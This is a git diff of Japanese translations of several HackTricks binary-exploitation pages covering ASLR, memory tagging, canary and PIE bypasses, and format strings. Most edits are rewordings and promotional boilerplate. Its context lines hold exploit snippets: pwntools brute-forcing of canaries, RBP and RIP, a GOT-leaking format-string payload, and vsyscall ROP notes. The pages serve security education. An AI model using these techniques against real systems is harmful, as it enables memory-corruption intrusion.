-64ビットシステムではエントロピーが高く、これは不可能です。 +64ビットシステムではエントロピーが高く、これは可能ではありません。 {% endhint %} ### 64ビットスタックのブルートフォース 環境変数でスタックの大部分を占有し、その後バイナリを何百回/何千回もローカルで悪用しようとすることが可能です。\ -次のコードは、**スタック内のアドレスを選択するだけ**で、**数百回の実行ごとにそのアドレスには**NOP命令が含まれる可能性があることを示しています: +次のコードは、**スタック内のアドレスを選択するだけ**で、**数百回の実行ごとにそのアドレスには**NOP命令が含まれることを示しています: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include @@ -154,7 +154,7 @@ print(e) print(traceback.format_exc()) pass ``` - + ### ローカル情報 (`/proc/[pid]/stat`) @@ -167,17 +167,17 @@ pass * **arg\_start** & **arg\_end**: **cli引数**がある上と下のアドレス * **env\_start** & **env\_end**: **環境変数**がある上と下のアドレス -したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる**入力からオーバーフローが発生する場合**、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築することが可能です。 +したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる**入力からオーバーフローが発生する可能性がある**場合、攻撃者は**このファイルからいくつかのアドレスを取得し、それらからオフセットを構築することができます**。 {% hint style="success" %} -このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) で `/proc/pid/stat` を検索して確認してください。 +このファイルに関する詳細情報は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) で `/proc/pid/stat` を検索して確認してください。 {% endhint %} ### リークがある場合 * **課題はリークを提供することです** -リークが与えられた場合(簡単なCTF課題)、それからオフセットを計算することができます(たとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**こちらの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抜粋されています(詳細についてはそのページを確認してください)。 +リークが与えられた場合(簡単なCTF課題)、それからオフセットを計算することができます(たとえば、悪用されているシステムで使用されている正確なlibcバージョンを知っていると仮定します)。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抜粋されています(詳細についてはそのページを確認してください)。 ```python from pwn import * @@ -204,7 +204,7 @@ p.interactive() ``` * **ret2plt** -バッファオーバーフローを悪用することで、**ret2plt** を悪用して、libc から関数のアドレスを外部に送信することが可能です。次を確認してください: +バッファオーバーフローを悪用することで、**ret2plt** を悪用して、libc から関数のアドレスを外部に送信することが可能になります。次を確認してください: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) @@ -212,7 +212,7 @@ p.interactive() * **Format Strings Arbitrary Read** -ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、**GOT から libc 関数のアドレスを外部に送信することが可能**です。次の[**例はこちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、**libc 関数** のアドレスを GOT から外部に送信することが可能です。次の[**例はこちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` -以下は、Format Strings arbitrary readに関する詳細情報を見つけることができます: +以下は、フォーマット文字列の任意読み取りに関する詳細情報を見つけることができます: {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -239,12 +239,12 @@ payload += p32(elf.symbols['main']) ### vsyscall -**`vsyscall`**メカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。**vsyscalls**の重要な利点は、**ASLR**(アドレス空間配置ランダム化)の対象外である**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\ -ただし、ここでは非常に興味深いガジェットは見つかりません(たとえば、`ret;`相当のものを取得することが可能です) +**`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。 **vsyscalls** の重要な利点は、**ASLR**(アドレス空間配置ランダム化)の対象とならない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するための情報リークの脆弱性を必要としません。\ +ただし、ここでは非常に興味深いガジェットは見つかりません(たとえば、`ret;` の等価物を取得することは可能です) (次の例とコードは[**この解説から**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)です) -たとえば、攻撃者はエクスプロイト内でアドレス`0xffffffffff600800`を使用するかもしれません。`ret`命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、**vsyscall**セクションで提供される`syscall`の開始地点にジャンプすることで成功する可能性があります。この**vsyscall**アドレスに実行を導く**ROP**ガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部の**ASLR**をバイパスする必要なしにコード実行を達成できます。 +たとえば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、**vsyscall** セクションで提供される `syscall` の開始地点にジャンプすることで成功する可能性があります。この **vsyscall** アドレスに実行を導く **ROP** ガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部の **ASLR** をバイパスする必要なしにコード実行を達成できます。 ``` ef➤ vmmap Start End Offset Perm Path @@ -287,7 +287,7 @@ gef➤ x/4i 0xffffffffff600800 ``` ### vDSO -したがって、カーネルがCONFIG\_COMPAT\_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されないため、**vdsoを悪用してASLRをバイパスする可能性がある**ことに注意してください。詳細については、次を確認してください: +したがって、カーネルがCONFIG\_COMPAT\_VDSOでコンパイルされている場合、**vdsoを悪用してASLRをバイパスする可能性がある**ことに注意してください。vdsoアドレスはランダム化されません。詳細については、次を確認してください: {% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} [ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index b19347310..a3707ae42 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -6,25 +6,25 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください** ## 基本情報 -**メモリタギング拡張(MTE)**は、**バッファオーバーフロー**や**解放後に使用**される脆弱性などの**メモリ関連エラーを検出および防止**することで、ソフトウェアの信頼性とセキュリティを向上させるために設計されています。**ARM**アーキテクチャの一部であるMTEは、**各メモリ割り当てに小さなタグを添付**し、そのメモリを参照する**各ポインタに対応するタグ**を提供します。このアプローチにより、実行時に不正なメモリアクセスを検出し、そのような脆弱性を悪用して任意のコードを実行するリスクを大幅に低減できます。 +**メモリタギング拡張(MTE)**は、**バッファオーバーフロー**や**解放後に使用**される脆弱性などの**メモリ関連エラーを検出および防止**することで、ソフトウェアの信頼性とセキュリティを向上させるよう設計されています。MTEは**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを添付**し、そのメモリを参照する**各ポインタに対応するタグ**を提供します。このアプローチにより、実行時に不正なメモリアクセスを検出し、これらの脆弱性を悪用して任意のコードを実行するリスクを大幅に低減できます。 -### **メモリタギング拡張の動作** +### **メモリタギング拡張の動作方法** MTEは、**メモリを小さな固定サイズのブロックに分割**し、通常は数ビットの**タグを割り当てる**ことによって動作します。 -メモリを指すポインタが作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビット**に格納され、効果的にポインタを対応するメモリブロックにリンクします。 +ポインタがそのメモリを指すように作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに格納**され、効果的にポインタを対応するメモリブロックにリンクします。 -https://www.youtube.com/watch?v=UwMt0e_dC_Q +https://www.youtube.com/watch?v=UwMt0e_dC_Q プログラムがポインタを介してメモリにアクセスすると、MTEハードウェアは**ポインタのタグがメモリブロックのタグと一致するかどうか**をチェックします。タグが**一致しない**場合、不正なメモリアクセスを示します。 @@ -32,7 +32,7 @@ MTEは、**メモリを小さな固定サイズのブロックに分割**し、 ポインタ内のタグは、トップバイト内の4ビットに格納されます: -https://www.youtube.com/watch?v=UwMt0e_dC_Q +https://www.youtube.com/watch?v=UwMt0e_dC_Q したがって、これにより最大**16種類の異なるタグ値**が可能となります。 @@ -40,7 +40,7 @@ MTEは、**メモリを小さな固定サイズのブロックに分割**し、 **物理メモリの16Bごと**に対応する**メモリタグ**があります。 -メモリタグは、**通常の使用ではアクセスできない専用のRAM領域**に格納されています。16Bメモリタグごとに4ビットのタグを持つことで、RAMの3%まで可能です。 +メモリタグは、**専用のRAM領域**に格納されています(通常の使用ではアクセスできません)。16Bメモリタグごとに4ビットのタグを持つことで、RAMの3%まで可能です。 ARMは、これらのタグを専用のRAMメモリで操作するために次の命令を導入しています: ``` @@ -54,7 +54,7 @@ IRG , Insert Random [pointer] Tag ### Sync CPUは**命令の実行中に**タグをチェックし、不一致があると例外を発生させます。\ -これは最も遅く、最も安全です。 +これは最も遅くて最も安全です。 ### Async @@ -67,15 +67,15 @@ CPUは**非同期的に**タグをチェックし、不一致が見つかると ## 実装と検出の例 ハードウェアタグベースのKASAN、MTEベースのKASAN、またはカーネル内MTEと呼ばれます。\ -カーネルアロケータ(`kmalloc`など)は**このモジュールを呼び出し**、使用するタグを準備し(ランダムに)、それをカーネルスペースに割り当てられた領域と返されたポインタにアタッチします。 +カーネルアロケータ(`kmalloc`など)は、**このモジュールを呼び出し**、使用するタグを準備し(ランダムに)、カーネルスペースに割り当てられたメモリにそれをアタッチし、返されたポインタにそれをアタッチします。 -要求されたサイズに十分なメモリグラニュール(それぞれ16B)だけを**マーク**します。したがって、要求されたサイズが35で60Bのスラブが与えられた場合、最初の16\*3 = 48Bをこのタグでマークし、**残り**はいわゆる**無効なタグ(0xE)**で**マーク**されます。 +要求されたサイズに十分なメモリグラニュール(それぞれ16B)だけを**マーク**します。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bをこのタグでマークし、**残り**は**無効なタグ(0xEと呼ばれる)**で**マーク**されます。 -タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリには、そのメモリにアクセスするために**任意のタグを使用**できます(不一致が発生しません)。これにより、攻撃が検出されない可能性があります。 +タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリには、そのメモリにアクセスするために**任意のタグを使用**できます(不一致がありません)。これにより、攻撃が検出されない可能性があります。 -したがって、0xEと0xFが予約されているため、タグを生成するために使用できる**値は14個だけ**であり、タグを**再利用**する確率は1/17 -> 約**7%**です。 +したがって、0xEと0xFを予約しているため、タグを生成するために使用できる**値は14個だけ**です。再利用されるタグの確率は1/17 -> 約**7%**です。 -カーネルが**無効なタグのグラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスする場合、そのメモリに異なるタグ(または無効なタグ)がある場合、不一致が**検出**されます。攻撃者が幸運でメモリが同じタグを使用している場合、検出されません。確率は約7%です。 +カーネルが**無効なタグのグラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスする場合、メモリに**異なるタグ**(または無効なタグ)がある場合、不一致が**検出**されます。攻撃者が幸運でメモリが同じタグを使用している場合、検出されません。確率は約7%です。 もう1つのバグは、割り当てられたメモリの**最後のグラニュール**で発生します。アプリケーションが35Bを要求した場合、32から48までのグラニュールが与えられます。したがって、36から47までのバイトは同じタグを使用していますが、要求されていません。攻撃者が**これらの余分なバイトにアクセスすると、これは検出されません**。 @@ -85,8 +85,8 @@ CPUは**非同期的に**タグをチェックし、不一致が見つかると さらに、**`slab`と`page_alloc`**のみがタグ付きメモリを使用しますが、将来的には`vmalloc`、`stack`、`globals`でも使用される予定です(ビデオの時点ではこれらはまだ悪用される可能性があります)。 -**不一致が検出**されると、カーネルは**パニック**して、さらなる悪用や攻撃の再試行を防ぎます(MTEには誤検知がありません)。 +**不一致が検出**されると、カーネルは**パニック**を起こして、さらなる悪用や攻撃の再試行を防ぎます(MTEには誤検知がありません)。 -## 参考文猿 +## 参考文献 * [https://www.youtube.com/watch?v=UwMt0e\_dC\_Q](https://www.youtube.com/watch?v=UwMt0e\_dC\_Q) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index e44d18952..3de7b33e1 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -6,33 +6,33 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。 -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 -**キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。** +**キャナリとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、それらをバイパスする方法を見つける必要があるかもしれません。** -![](<../../../.gitbook/assets/image (862).png>) +![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} -**`checksec`** は、バイナリが静的にコンパイルされており、関数を識別することができない場合、バイナリがキャナリーで保護されていることを見つけることができないかもしれません。\ +**`checksec`** は、バイナリが静的にコンパイルされており、関数を識別することができない場合、バイナリがキャナリで保護されていることを見つけることができないかもしれません。\ ただし、関数呼び出しの開始時にスタックに値が保存され、この値が終了前にチェックされる場合、これを手動で気付くことができます。 {% endhint %} ## アドレスのブルートフォース **PIEをバイパス**するためには、**いくつかのアドレスをリークする必要があります**。バイナリがアドレスをリークしていない場合、**脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースする**のが最善です。\ -たとえば、バイナリが**キャナリー**と**PIE**の両方を使用して保護されている場合、まずキャナリーをブルートフォースし、次に**次の**8バイト(x64)が保存された**RBP**であり、**次の**8バイトが保存された**RIP**になります。 +たとえば、バイナリが**キャナリ**と**PIE**の両方を使用して保護されている場合、まずキャナリをブルートフォースし、次の8バイト(x64)が保存された**RBP**であり、次の8バイトが保存された**RIP**になります。 {% hint style="success" %} スタック内のリターンアドレスがメインバイナリコードに属していると仮定されており、脆弱性がバイナリコードにある場合は通常そのようなケースになります。 {% endhint %} -バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、クラッシュしない場合に有効な推測されたバイトであることがわかります。キャナリーをブルートフォースするために提供された関数と**同じ関数**を使用して、RBPとRIPをブルートフォースすることができます。 +バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するかクラッシュしない場合、有効な推測されたバイトが正しいことがわかります。キャナリをブルートフォースするために提供された関数と**同じ関数**を使用して、RBPとRIPをブルートフォースすることができます。 ```python from pwn import * @@ -82,14 +82,14 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` 最後に、PIEを打破するために必要なのは、漏洩したアドレスから**有用なアドレスを計算する**ことです:**RBP**と**RIP**。 -**RBP**からは、**スタック内にシェルを書き込んでいる場所を計算**することができます。これは、スタック内に文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、漏洩したRBPの後に**ブレークポイントを設定**して、**シェルコードがどこにあるかを確認**し、その後、シェルコードとRBPの間の距離を計算できます: +**RBP**からは、**スタック内にシェルを書き込んでいる場所を計算**することができます。これは、スタック内に文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとあなたのシェルコードの間の距離を計算するには、漏洩したRBPの後に**ブレークポイントを設定**して、**シェルコードがどこにあるかを確認**し、その後、シェルコードとRBPの間の距離を計算できます: ```python INI_SHELLCODE = RBP - 1152 ``` -**RIP**から、**PIEバイナリのベースアドレス**を計算できます。これは、**有効なROPチェーンを作成するために必要**になります。\ -ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します: +**RIP**からは、**PIEバイナリのベースアドレス**を計算できます。これは、**有効なROPチェーン**を作成するために必要になります。\ +ベースアドレスを計算するには、単に`objdump -d vunbinary`を実行し、最新のアドレスを逐次進行してください: -![](<../../../.gitbook/assets/image (476).png>) +![](<../../../.gitbook/assets/image (479).png>) この例では、すべてのコードを特定するのに**1バイトと半分だけが必要**であることがわかります。したがって、この状況では、ベースアドレスは**"000"で終わるリークしたRIP**になります。たとえば、`0x562002970ecf`がリークした場合、ベースアドレスは`0x562002970000`になります。 ```python @@ -97,20 +97,6 @@ elf.address = RIP - (RIP & 0xfff) ``` ## 改善 -[**この投稿からのいくつかの観察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) によると、RBP と RIP の値が漏洩するとき、サーバーは正しい値でないいくつかの値でクラッシュせず、BF スクリプトは正しい値を取得したと思うかもしれません。これは、**正確な値でなくても、いくつかのアドレスがそれを壊すことが可能**だからです。 +[**この投稿からのいくつかの観察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) によると、RBP と RIP の値を漏洩させる際、サーバーは正しい値でないいくつかの値でクラッシュせず、BF スクリプトは正しい値を取得したと思うかもしれません。これは、**正確な値でなくても、いくつかのアドレスがそれを壊すことが可能**だからです。 そのブログ投稿によると、サーバーへのリクエスト間に短い遅延を導入することが推奨されています。 - - - -htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ ! - -HackTricks をサポートする他の方法: - -* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。 -* **ハッキングトリックを共有するために PR を** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の GitHub リポジトリに提出する。** - - diff --git a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 12deb53c3..f8a471ad1 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -4,19 +4,19 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** **キャナリーとPIE(Position Independent Executable)で保護されたバイナリに直面している場合、おそらくそれらをバイパスする方法を見つける必要があります。** -![](<../../../.gitbook/assets/image (862).png>) +![](<../../../.gitbook/assets/image (865).png>) {% hint style="info" %} **`checksec`** がバイナリがキャナリーで保護されていることを見つけられない場合があることに注意してください。これは静的にコンパイルされており、関数を識別することができない場合です。\ @@ -27,7 +27,7 @@ HackTricksをサポートする他の方法: 単純なキャナリーをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**(ネットワークサービス)である場合です。なぜなら、接続するたびに**同じキャナリーが使用される**からです。 -そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことであり、推測されたキャナリーバイトが正しいかどうかを確認するために、プログラムがクラッシュしたかどうか、または通常のフローが続行されたかどうかをチェックできます。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを区別するために、サーバーから**応答**が返されたかどうかを**チェック**します(他の状況では**try/except**を使用することもできます)。 +そのため、キャナリーをバイパスする最良の方法は、単に**1文字ずつキャナリーをブルートフォースする**ことであり、推測されたキャナリーバイトが正しいかどうかを確認することができます。これは、プログラムがクラッシュしたかどうか、または通常のフローが続行されたかどうかを**確認する**ことによって行います。この例では、関数は**8バイトのキャナリー(x64)**をブルートフォースし、正しく推測されたバイトと誤ったバイトを区別します。別の状況では、**try/except**を使用することもできます。 ### 例1 @@ -118,13 +118,13 @@ log.info(f"The canary is: {canary}") 同じプロセスのスレッドは**同じキャナリートークンを共有**するため、バイナリが攻撃が発生するたびに新しいスレッドを生成すると、キャナリーを**ブルートフォース**することが可能になります。 -さらに、キャナリーで保護されたスレッド関数内のバッファ**オーバーフロー**を使用して、TLSに格納されているマスターキャナリーを**変更**することができます。これは、スレッドのスタック内の**bof**を介してTLSが格納されているメモリ位置に到達する可能性があるためです。\ -その結果、チェックが2つの同じ(ただし変更された)キャナリーで使用されるため、対策は無効になります。\ -この攻撃は、次の解説で実行されます:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +さらに、キャナリーで保護された**スレッド関数内のバッファオーバーフロー**は、TLSに格納されているマスターキャナリーを**変更**するために使用できます。これは、スレッドのスタック内の**bof**を介してTLSが格納されているメモリ位置に到達する可能性があるためです。\ +その結果、チェックが2つの同じキャナリーで使用されるため、対策は無効になります(変更されていても)。\ +この攻撃は、次の解説で実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -また、[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションもチェックしてください。通常、**TLS**は**`mmap`**によって格納され、**スレッド**の**スタック**が作成されるときにも`mmap`によって生成されると述べており、前述の解説に示されているようにオーバーフローを許可する可能性があります。 +また、[https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションもチェックしてください。通常、**TLS**は**`mmap`**によって格納され、**スレッド**の**スタック**が作成されるときも、これによって生成されると述べており、前述の解説に示されているようにオーバーフローが可能になるかもしれません。 -## その他の例と参考文献 +## その他の例と参照 * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * 64ビット、PIEなし、nx、BFキャナリー、一部のメモリに`execve`を呼び出すROPを書き込み、そこにジャンプします。 diff --git a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 8e13a0e35..7099db8b7 100644 --- a/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,20 +1,58 @@ -# フォーマット文字列 - 任意の読み取り例 +# フォーマット文字列 - 任意読み取りの例 ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** -* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける 